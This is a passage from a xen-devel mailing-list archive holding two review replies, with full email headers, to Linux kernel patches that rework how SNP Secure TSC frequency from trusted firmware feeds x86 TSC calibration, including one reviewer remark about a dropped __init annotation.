	BCL:0;ARA:13230040|82310400026|7416014|376014|1800799024|32650700020|23010399003|36860700016|921020|3023799007|18002099003|22082099003|11063799006|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	zSazxnvGOuts/WNto6Qd6Wf4r/P9sqd09K5D2puyLqZ4pEyEZNoTRkTgLaZfL5QG8xxWcXJPW65egFexsW5+vb1r7g3lV6Wyv8vz2MQ++08z4dKKdErOg5fJc792NWTB8Gm5TLC0odjoP1+/rsi0+9hdAieR+SIToCobAtypB06p5oHfqwiHsNrBU1z6NyhdN7rbjtxikwsEKN4vHTEgHBkQufXwiSXxO7cWDC3UZWnv6aMc6yD7O/5MauoBpufAb9g/JxMF1tyzlqKOPQYUYxK+AZCLc8LGlL5z+ELrAqjghaBZ3xc9ldhtAMDqfgAKJIRJ6XrrZwaoXlAfeuCP6CEYmZi9KlDGk9bSa7x7shLawjE4XDmfYnYxIFlObPc+44bMEcrKDqy7GxBsrsP6xnr3P5tMGXBFkEMtfjaYDCQFAlhjE4OlD4b1yQZdQapDAwuyBCYsUs5L/2wwFb46BxF+CDXJHHeaiBtx38MOkZfdlMn96JPuZ424S4bQSgs415oDq/ou0hbKw13UlcSfLngNDcK3kzTNkHwvqLu2UkxggeC4wLf5mllYfRT/Anoh9uBiB6CDCZt+M07Be3OYJRQ9/Yxqk+66zXRQusfIwnWn5Xnu/qZIPtIVgbNxMephxjGZIzzwKBVSy0i5l7n4QsD1SQKLChEVEybcevrsUpmluDPP+p6WCoKcxpkTlAh0RZE4+DwJ71qFRopJm+HeGqsE4QxQAVkhjymn8NcxUR+/pAdFqixwvUvQDe6VYoFB
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(7416014)(376014)(1800799024)(32650700020)(23010399003)(36860700016)(921020)(3023799007)(18002099003)(22082099003)(11063799006)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	8oZhG7HxMEJzegkI9/kQ+k3b+X5K44QoYv3u7161yaJazWoV9bLbwBPcUf33s6heL5gj37WDbRSZJDwc9zw/9agj5/ie69Gkg5eQc6uBV0Xosa1NryXlFnVHJON/PQ6kBZHHpepHs6Vv46bv5hJBO3xWU4ppj/qClvOiVLmc8itTDbhb1ujyZns29ZEVhtpf7u7X8bZam20vVHfj60JHWMY3IJ/KVFbe7spun+F15KtluVfP6cr2R8RbkpXkMnnzI8EFgXokkEiXWsPqGLkxYIwJUIt0mZor/5KCB8EkbOCo7mpG95HYgDereND0gk3H0F2oAL5jcZk7zEXjGYYCIrwkKM2Od1klQSWsj/4WIWfG1j+JznHwpcWApnQHNWuj24F9+sS6dIvdpz/htCndsEQgUei0zdfR6W0oUM76RhgwKbyPjVCIIU4tNd8qjPQl
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 04:52:36.0842
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 354d1e25-cfa8-4149-4105-08dedcacbae7
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH2PEPF00000148.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR12MB8528
X-purgate-ID: tlsNG-bad1c0/1783486364-45922986-54951820/0/0
X-purgate-type: clean
X-purgate-size: 7684



On 7/2/2026 1:01 AM, Sean Christopherson wrote:
> As a first step towards dropping .calibrate_{cpu,tsc}() and explicitly
> defining precedence/priority for "calibration" routines, pass the secure
> TSC frequency obtained from SNP firmware directly to
> determine_cpu_tsc_frequencies() instead of overriding the .calibrate_tsc()
> hook.
> 
> Unlike the native calibration routines, all of the paravirtual overrides,
> including SNP and TDX, are constant in the sense that the frequency
> provided by the hypervisor or trusted firmware is fixed, known, and always
> available during early boot.  More importantly, for CoCo (SNP and TDX) VMs,
> it's imperative that the kernel uses the frequency provided by the trusted
> firmware, not by the untrusted hypervisor.  Enforcing the priority between
> sources by carefully ordering seemingly unrelated init calls, so that the
> trusted override "wins", is brittle and all but impossible to follow.
> 
> Explicitly ignore tsc_early_khz if the exact TSC frequency was obtained
> from trusted firmware, as per commit bd35c77e32e4 ("x86/tsc: Add
> tsc_early_khz command line parameter"), the goal of the param is to play
> nice with setups that provide partial frequency information in CPUID, i.e.
> is NOT intended to be a hard override.  Neither SNP's secure TSC nor TDX
> was supported when commit bd35c77e32e4 landed back in 2020, i.e. lack of
> consideration for the interaction was purely due to oversight when SNP and
> TDX support came along.
> 
> Signed-off-by: Sean Christopherson <seanjc@google.com>
> ---
>  .../admin-guide/kernel-parameters.txt         |  4 +++
>  arch/x86/coco/sev/core.c                      | 14 +++--------
>  arch/x86/include/asm/sev.h                    |  4 +--
>  arch/x86/kernel/tsc.c                         | 25 ++++++++++++++-----
>  4 files changed, 29 insertions(+), 18 deletions(-)
> 
> diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentation/admin-guide/kernel-parameters.txt
> index b5493a7f8f22..181149f633c3 100644
> --- a/Documentation/admin-guide/kernel-parameters.txt
> +++ b/Documentation/admin-guide/kernel-parameters.txt
> @@ -7946,6 +7946,10 @@ Kernel parameters
>  			with CPUID.16h support and partial CPUID.15h support.
>  			Format: <unsigned int>
>  
> +			Note, tsc_early_khz is ignored if the TSC frequency is
> +			provided by trusted firmware when running as an SNP
> +			guest.
> +
>  	tsx=		[X86] Control Transactional Synchronization
>  			Extensions (TSX) feature in Intel processors that
>  			support TSX control.
> diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
> index 403dcea86452..bc5ae9ef74da 100644
> --- a/arch/x86/coco/sev/core.c
> +++ b/arch/x86/coco/sev/core.c
> @@ -99,7 +99,6 @@ static const char * const sev_status_feat_names[] = {
>   */
>  static u64 snp_tsc_scale __ro_after_init;
>  static u64 snp_tsc_offset __ro_after_init;
> -static unsigned long snp_tsc_freq_khz __ro_after_init;
>  
>  DEFINE_PER_CPU(struct sev_es_runtime_data*, runtime_data);
>  DEFINE_PER_CPU(struct sev_es_save_area *, sev_vmsa);
> @@ -2014,15 +2013,10 @@ void __init snp_secure_tsc_prepare(void)
>  	pr_debug("SecureTSC enabled");
>  }
>  
> -static unsigned long securetsc_get_tsc_khz(void)
> -{
> -	return snp_tsc_freq_khz;
> -}
> -
> -void __init snp_secure_tsc_init(void)
> +unsigned int __init snp_secure_tsc_init(void)
>  {
> +	unsigned long snp_tsc_freq_khz, tsc_freq_mhz;
>  	struct snp_secrets_page *secrets;
> -	unsigned long tsc_freq_mhz;
>  	void *mem;
>  
>  	mem = early_memremap_encrypted(sev_secrets_pa, PAGE_SIZE);
> @@ -2043,7 +2037,7 @@ void __init snp_secure_tsc_init(void)
>  
>  	snp_tsc_freq_khz = SNP_SCALE_TSC_FREQ(tsc_freq_mhz * 1000, secrets->tsc_factor);
>  
> -	x86_platform.calibrate_tsc = securetsc_get_tsc_khz;
> -
>  	early_memunmap(mem, PAGE_SIZE);
> +
> +	return snp_tsc_freq_khz;
>  }
> diff --git a/arch/x86/include/asm/sev.h b/arch/x86/include/asm/sev.h
> index 594cfa19cbd4..05ebf0b73ef4 100644
> --- a/arch/x86/include/asm/sev.h
> +++ b/arch/x86/include/asm/sev.h
> @@ -530,7 +530,7 @@ int snp_send_guest_request(struct snp_msg_desc *mdesc, struct snp_guest_req *req
>  int snp_svsm_vtpm_send_command(u8 *buffer);
>  
>  void __init snp_secure_tsc_prepare(void);
> -void __init snp_secure_tsc_init(void);
> +unsigned int snp_secure_tsc_init(void);

It seems __init got dropped here accidentally?

Apart from this:

Reviewed-by: Nikunj A Dadhania <nikunj@amd.com>
Tested-by: Nikunj A Dadhania <nikunj@amd.com>

>  enum es_result savic_register_gpa(u64 gpa);
>  enum es_result savic_unregister_gpa(u64 *gpa);
>  u64 savic_ghcb_msr_read(u32 reg);
> @@ -637,7 +637,7 @@ static inline int snp_send_guest_request(struct snp_msg_desc *mdesc,
>  					 struct snp_guest_req *req) { return -ENODEV; }
>  static inline int snp_svsm_vtpm_send_command(u8 *buffer) { return -ENODEV; }
>  static inline void __init snp_secure_tsc_prepare(void) { }
> -static inline void __init snp_secure_tsc_init(void) { }
> +static inline unsigned int __init snp_secure_tsc_init(void) { return 0; }
>  static inline void sev_evict_cache(void *va, int npages) {}
>  static inline enum es_result savic_register_gpa(u64 gpa) { return ES_UNSUPPORTED; }
>  static inline enum es_result savic_unregister_gpa(u64 *gpa) { return ES_UNSUPPORTED; }
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 8f1604ffe986..f049c126e47c 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -1440,15 +1440,16 @@ static int __init init_tsc_clocksource(void)
>   */
>  device_initcall(init_tsc_clocksource);
>  
> -static bool __init determine_cpu_tsc_frequencies(bool early)
> +static bool __init determine_cpu_tsc_frequencies(bool early,
> +						 unsigned int known_tsc_khz)
>  {
>  	/* Make sure that cpu and tsc are not already calibrated */
>  	WARN_ON(cpu_khz || tsc_khz);
>  
>  	if (early) {
>  		cpu_khz = x86_platform.calibrate_cpu();
> -		if (tsc_early_khz)
> -			tsc_khz = tsc_early_khz;
> +		if (known_tsc_khz)
> +			tsc_khz = known_tsc_khz;
>  		else
>  			tsc_khz = x86_platform.calibrate_tsc();
>  	} else {
> @@ -1503,6 +1504,8 @@ static void __init tsc_enable_sched_clock(void)
>  
>  void __init tsc_early_init(void)
>  {
> +	unsigned int known_tsc_khz = 0;
> +
>  	if (!boot_cpu_has(X86_FEATURE_TSC))
>  		return;
>  	/* Don't change UV TSC multi-chassis synchronization */
> @@ -1510,9 +1513,19 @@ void __init tsc_early_init(void)
>  		return;
>  
>  	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
> -		snp_secure_tsc_init();
> +		known_tsc_khz = snp_secure_tsc_init();
>  
> -	if (!determine_cpu_tsc_frequencies(true))
> +	/*
> +	 * Ignore the user-provided TSC frequency if the exact frequency was
> +	 * obtained from trusted firmware, as the user-provided frequency is
> +	 * intended as a "starting point", not a known, guaranteed frequency.
> +	 */
> +	if (!known_tsc_khz)
> +		known_tsc_khz = tsc_early_khz;
> +	else if (tsc_early_khz)
> +		pr_err("Ignoring 'tsc_early_khz' in favor of trusted firmware.\n");
> +
> +	if (!determine_cpu_tsc_frequencies(true, known_tsc_khz))
>  		return;
>  	tsc_enable_sched_clock();
>  }
> @@ -1533,7 +1546,7 @@ void __init tsc_init(void)
>  
>  	if (!tsc_khz) {
>  		/* We failed to determine frequencies earlier, try again */
> -		if (!determine_cpu_tsc_frequencies(false)) {
> +		if (!determine_cpu_tsc_frequencies(false, 0)) {
>  			mark_tsc_unstable("could not calculate TSC khz");
>  			setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER);
>  			return;



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 04:55:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 04:55:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356584.1611157 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKJU-0006hp-I8; Wed, 08 Jul 2026 04:55:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356584.1611157; Wed, 08 Jul 2026 04:55:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKJU-0006hi-FX; Wed, 08 Jul 2026 04:55:12 +0000
Received: by outflank-mailman (input) for mailman id 1356584;
 Wed, 08 Jul 2026 04:55:11 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <nikunj.dadhania@amd.com>) id 1whKJT-0006hY-5K
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:55:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whKJQ-008NvB-73
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 06:55:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd7fb-e002-0a2a0a5209dd-0a2a4508bebe-46
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:55:07 +0200
Received: from [40.93.196.54]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd82a-edec-0a2a45080019-285dc4363a13-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:55:07 +0200
Received: from MW4PR04CA0341.namprd04.prod.outlook.com (2603:10b6:303:8a::16)
 by DM4PR12MB6135.namprd12.prod.outlook.com (2603:10b6:8:ac::5) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.10; Wed, 8 Jul 2026 04:55:00 +0000
Received: from CO1PEPF00012E62.namprd05.prod.outlook.com
 (2603:10b6:303:8a:cafe::55) by MW4PR04CA0341.outlook.office365.com
 (2603:10b6:303:8a::16) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.9 via Frontend Transport; Wed, 8
 Jul 2026 04:55:00 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CO1PEPF00012E62.mail.protection.outlook.com (10.167.249.71) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 04:55:00 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 7 Jul
 2026 23:55:00 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 7 Jul
 2026 23:54:59 -0500
Received: from [10.252.210.85] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Tue, 7 Jul 2026 23:54:49 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=muck2zV8SaUyK1PkyvdQ2Ely+k1o8peyyDSIPc0ZqhGLEKWZZ8/L48dCtIrZQpKgoKYVtQcQn3L7zD9yiU2PDsmLrJ4CF+35nTsz55ferSyHq9z3PsDZCwjZovjkUJ8vUZ+yDJ6LVygsrvVw5avkQ7uO3iQmFLYTUg0Y+5XlNIOBxTYRewa9qN+U7j5DTtEnqJ1L4hkXLv/d1LSnNSO2pPWQG1hWll7t67f1mFTaIm+Q50BCjtl3xMpLLqWOSHgFcfq+1lVBqnCNiOjvmSvAGsnnpb+980Iy6X7W50KKqbZ4HtH/MSISyOCoMQU6IWdWsn7aQPo8wGTj4c1re7JuJw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=SZ5GDmkLZWd8J5P94VDAI93X1gZGJarzQBk2DH3fIMM=;
 b=X1iU6hK27j3SotgDmlGq5tHaQ8cESXQ3tO5dx3gf51fPmhTKH1dP2VjVTdkJ56kHQrxtIxxgIsKV3m4pB/lveXu8ajoSMnvVr/Va+gJN0v1z7gaYqDd+g1T/mJvK08CXKiHsk7qEUfLJeSqYjKsqZhy4IiCTxv7C/oyMkYh/KZz8YnpOQYcgl6S6tAM0cx18Ef54OxRkpb/nc2wUjgCaRY5tslm/Pmjis+7LtenZXvkAGUbSzaJYQ13zxhOiV7AToitRxrWkXt+UKjTKvNRfPR8Knh4BygLZ8UJg8510CeXoxfOw5t92/7ZN79CVAasctrSmXmwS9noU84hq156zKA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=google.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=SZ5GDmkLZWd8J5P94VDAI93X1gZGJarzQBk2DH3fIMM=;
 b=Byzqzadf4RqBBuyOB/9ulLcKrFNAA0r7xyTdZa92ndPqrS7AUZHodUoQN2bthMb38CjrMMfYMIZg1ZIQD4hK1okK+/bDbqENvVo4hW9ytrf+jizVmsbaU10iJYxWX8heP6MMHASHYUBNGJUpI+j+WrJTPcDUJht4jHPKtry0OvI=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <42708d69-42ff-48ec-bd54-0e683c440ae8@amd.com>
Date: Wed, 8 Jul 2026 10:24:43 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 06/51] x86/sev: Don't override CPU frequency
 calibration for SNP's Secure TSC
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, "Ingo
 Molnar" <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, <x86@kernel.org>, Kiryl Shutsemau
	<kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K. Y.
 Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>, "Wei
 Liu" <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, "Andy
 Lutomirski" <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	<linux-doc@vger.kernel.org>, <kvm@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>, <linux-coco@lists.linux.dev>,
	<linux-hyperv@vger.kernel.org>, <virtualization@lists.linux.dev>,
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	David Woodhouse <dwmw@amazon.co.uk>, David Woodhouse <dwmw2@infradead.org>,
	Michael Kelley <mhklinux@outlook.com>, Thomas Gleixner <tglx@linutronix.de>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-7-seanjc@google.com>
Content-Language: en-US
From: "Nikunj A. Dadhania" <nikunj@amd.com>
In-Reply-To: <20260701193212.749551-7-seanjc@google.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF00012E62:EE_|DM4PR12MB6135:EE_
X-MS-Office365-Filtering-Correlation-Id: 162212d4-dfcb-4a25-3888-08dedcad1125
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|32650700020|23010399003|7416014|82310400026|376014|36860700016|6133799003|921020|3023799007|18002099003|22082099003|4143699003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	MhZdQQ5WQce4My/DtjEsGnXBCV401gswIsS7mXg6sHA+jS3dKPLv9bhlsOSW+PgXUqq24ehiXRKmCXee7KIAUZpniARNORz336IHWocle1CQNu3H5VOv/WplcTvPKuIFZQaqCKEghQwJmLsxwMpRxh4AYs0X3FsevuRJ6PhKPBIbCaBp7l03e/WQXCuMFp9bkY762K2HLPexq74B0sVq19YSoAtx6K4SWr1ObM7MzlD9cSm2FnLtD4NOgzJb5TsgtG0768blna0D4X1sUI6RJyQn92F30AuyoXsLVGJOD+aVlNE7uQRNby77xREvOEO77ferIlEezky6qOGbLXjkvXeuZriyLvfwTe67p/0LB8YGHzV8F76yXKdYBa3mP9u2FMlqTcfyR98LycSQFFKcUKYqsyTnd9uz2vUptUB83EpoD5oVGdMh14zIu3RvThkaSB1O2gxN5Yybt8E/B3h46S2R1H+TxQuIjAlj4suP/KTPOLCAO0kwoR6VuckSH6MmA+PxFbFFGXcZdrtZTcO2f7h1wGNqXMhaxob3Fp79KDflY/Lzq+gA3gHrlAN7e8koytdKxWrBfcnXgrNi5Qols+pbj/lcH3tEE5ch1o0cT0ykHcd3BRTkKdXi59MlTFa39s3qi5HCzXgmIRnNNb/xPStcPhbDbLWOhdj0KL8dJjyGc1AM8h99/dCGUYYqhd06qBKvWPzvMuonNs0MxiWuD6D/IK4DIWbr46CsbajuKUHwSsKZuYHh2SkIZkjnalRy
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(32650700020)(23010399003)(7416014)(82310400026)(376014)(36860700016)(6133799003)(921020)(3023799007)(18002099003)(22082099003)(4143699003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	k/vu6e0T2XlctZLtJdyr6MexpXA2QcnV3xEzcFHJPOr/EVdlmu5jyyjU3hTpkaj5sh8Q2y3b/oi2T6yg5BS4I2gkl3iwOY4W8YI0JYQn4qaUozlGtxruJH8ND67IXFH5zEGYOYaV/0OXdww5VFZi13//IA5WtOyUwh16xmnxbaWAEukUp8EMHCFs/m2RgKsJ02i5bbFAOJLM3+63L9EcgZBkAwu92lj4C3kZfQh3fSf2EYP4LTnxGc6551h1t5bca8bJI7bILyDm8jjXR3zGD7CVA5v4AF2ZpRuiFHauy3oxqkmM2IaFsrtWN/Gkal6K/iafbEZoOVceprE2xzZiQ0ePte4wrSzkYgnG5cHDAtbS8ilBBRfKoJ6rfSUH3DkVcnHHqNZNReQnzrp4rohh+VZI4K75igXJuV9+fqIV5LaVkRY69kxkt1NWz8UA5DQz
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 04:55:00.6860
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 162212d4-dfcb-4a25-3888-08dedcad1125
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF00012E62.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR12MB6135
X-purgate-ID: tlsNG-c1860d/1783486507-48C6F3FC-B86B21EE/0/0
X-purgate-type: clean
X-purgate-size: 1594



On 7/2/2026 1:01 AM, Sean Christopherson wrote:
> Don't override the kernel's CPU frequency calibration routine when
> registering SNP's Secure TSC calibration routine.  SNP (the architecture)
> provides zero guarantees that the CPU runs at the same frequency as the
> TSC.  The justification for clobbering the CPU routine was:
> 
>   Since the difference between CPU base and TSC frequency does not apply
>   in this case, the same callback is being used.
> 
> but that's simply not true.  E.g. if APERF/MPERF is exposed to the VM, then
> the CPU frequency absolutely does matter.
> 
> While relying on heuristics and/or the untrusted hypervisor to provide the
> CPU frequency isn't ideal, it's at least not outright wrong.
> 
> Fixes: 73bbf3b0fbba ("x86/tsc: Init the TSC for Secure TSC guests")
> Cc: Nikunj A Dadhania <nikunj@amd.com>
> Cc: Tom Lendacky <thomas.lendacky@amd.com>
> Signed-off-by: Sean Christopherson <seanjc@google.com>

Reviewed-by: Nikunj A Dadhania <nikunj@amd.com>

> ---
>  arch/x86/coco/sev/core.c | 1 -
>  1 file changed, 1 deletion(-)
> 
> diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
> index ed0ac52a765e..665de1aea0ee 100644
> --- a/arch/x86/coco/sev/core.c
> +++ b/arch/x86/coco/sev/core.c
> @@ -2046,7 +2046,6 @@ void __init snp_secure_tsc_init(void)
>  
>  	snp_tsc_freq_khz = SNP_SCALE_TSC_FREQ(tsc_freq_mhz * 1000, secrets->tsc_factor);
>  
> -	x86_platform.calibrate_cpu = securetsc_get_tsc_khz;
>  	x86_platform.calibrate_tsc = securetsc_get_tsc_khz;
>  
>  	early_memunmap(mem, PAGE_SIZE);



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 05:01:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 05:01:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356593.1611166 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKPH-0000BT-54; Wed, 08 Jul 2026 05:01:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356593.1611166; Wed, 08 Jul 2026 05:01:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKPH-0000BM-2I; Wed, 08 Jul 2026 05:01:11 +0000
Received: by outflank-mailman (input) for mailman id 1356593;
 Wed, 08 Jul 2026 05:01:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <nikunj.dadhania@amd.com>) id 1whKPF-0000BG-4z
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 05:01:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whKPE-00FidX-Ds
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 07:01:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd98c-5cb7-0a2a0a5109dd-0a2a4508aa7c-30
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:01:07 +0200
Received: from [52.101.46.43]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd991-edec-0a2a45080019-34652e2b995b-3
